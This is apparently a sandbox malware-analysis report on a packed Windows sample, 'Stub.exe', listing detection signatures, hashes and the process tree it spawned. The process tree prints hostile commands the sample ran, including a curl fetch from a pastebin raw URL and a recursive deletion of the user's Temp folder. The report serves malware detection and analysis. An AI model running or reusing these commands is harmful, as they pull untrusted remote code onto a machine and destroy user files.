Analysis

  • max time kernel
    71s
  • max time network
    73s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/12/2023, 03:17

General

  • Target
    Stub.exe
  • Size 13.8MB
  • Sample231224-ds2c9secfm
  • SHA256 2d6c58c043a319b7d9de60a16184a3cfdf1465b79771d27223acb2cac197851f
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Stub.exe
    "C:\Users\Admin\AppData\Local\Temp\Stub.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3312
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title if this title changes the loader has successfully streamed!
      2⤵
        PID:1912
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl -L --output -
        2⤵
          PID:3896
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          2⤵
            PID:2044
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl -L https://pastebin.com/raw/kR7pQtnA
            2⤵
              PID:1728
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c rmdir /S /Q %USERPROFILE%\AppData\Local\Temp
              2⤵
                PID:4700

            Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

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                  Downloads

                  memory/3312-0-0x00007FF893580000-0x00007FF893582000-memory.dmp

                  memory/3312-1-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp

                  memory/3312-2-0x00007FF893590000-0x00007FF893592000-memory.dmp

                  memory/3312-3-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp

                  memory/3312-5-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp